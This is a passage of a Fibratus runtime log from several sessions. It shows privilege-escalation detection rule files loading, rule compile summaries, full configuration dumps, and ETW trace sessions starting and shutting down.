C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T17:38:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T17:38:59+01:00 level=info msg=bootstrapping with pid 18016. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T17:38:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-dns=>false buffer-size=>512 enable-fileio=>true max-buffers=>36 enable-image=>true flush-interval=>1s enable-audit-api=>true enable-mem=>true enable-vamap=>true enable-registry=>true enable-handle=>false enable-net=>true min-buffers=>16 enable-threadpool=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient timeout=>5s durable=>false exchange-type=>topic enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 gzip-compression=>false timeout=>5s index-name=>fibratus healthcheck=>true enabled=>false healthcheck-interval=>10s template-name=>fibratus] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false endpoints=>[] timeout=>5s method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-procs=>[] enabled=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T17:39:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:39:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:47:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T17:47:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:47:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:47:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-02T17:47:41+01:00 level=info msg=bootstrapping with pid 16908. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T17:47:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true flush-interval=>1s enable-vamap=>true enable-mem=>true enable-dns=>false enable-registry=>true buffer-size=>512 enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-handle=>false enable-net=>true enable-threadpool=>false max-buffers=>36 min-buffers=>16 stack-enrichment=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-age=>0 log-stdout=>true max-size=>100 formatter=>text] + output ......................... [ amqp=>[ durable=>false exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange=>fibratus routing-key=>fibratus passive=>false vhost=>/ timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s timeout=>5s trace-log=>false enabled=>false index-name=>fibratus flush-period=>1s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json method=>POST timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false excluded-files=>[] enabled=>false fastscan=>true skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T17:47:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:47:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:47:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T17:47:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:47:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:59:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-02T17:59:31+01:00 level=info msg=bootstrapping with pid 2732. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T17:59:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-thread=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-vamap=>true min-buffers=>16 enable-image=>true enable-audit-api=>true enable-threadpool=>false enable-dns=>false enable-handle=>false enable-mem=>true flush-interval=>1s enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 max-size=>100 formatter=>text level=>info] + output ......................... [ elasticsearch=>[ sniff=>false enabled=>false healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false flush-period=>1s template-name=>fibratus index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s] http=>[ tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false enabled=>false method=>POST] amqp=>[ routing-key=>fibratus enabled=>false exchange-type=>topic timeout=>5s passive=>false durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ exchange=>fibratus url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-files=>false skip-allocs=>false skip-mmaps=>false skip-registry=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-02T17:59:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:59:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T17:59:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T17:59:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T18:00:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T18:00:04+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T18:00:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T18:00:04+01:00 level=info msg=bootstrapping with pid 1228. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T18:00:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true enable-thread=>true min-buffers=>16 enable-handle=>false enable-registry=>true enable-vamap=>true enable-dns=>false enable-net=>true buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-fileio=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus healthcheck=>true bulk-workers=>1] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false enabled=>false timeout=>5s vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus routing-key=>fibratus passive=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ endpoints=>[] method=>POST serializer=>json enable-gzip=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false fastscan=>true excluded-files=>[] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T18:00:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T18:00:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T18:49:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T18:49:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T18:49:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T20:04:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T20:04:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T20:04:49+01:00 level=info msg=bootstrapping with pid 18184. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T20:04:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-handle=>false enable-mem=>true enable-audit-api=>true min-buffers=>16 buffer-size=>512 enable-image=>true enable-dns=>false enable-thread=>true stack-enrichment=>true enable-registry=>true enable-threadpool=>false enable-fileio=>true max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus delivery-mode=>transient routing-key=>fibratus durable=>false passive=>false timeout=>5s exchange-type=>topic vhost=>/] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json method=>POST timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false endpoints=>[]] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus trace-log=>false index-name=>fibratus healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false flush-period=>1s gzip-compression=>false sniff=>false timeout=>5s]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] enabled=>false skip-registry=>false scan-timeout=>10s skip-files=>false skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-02T20:04:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:04:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T20:11:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T20:11:47+01:00 level=info msg=loading rule from 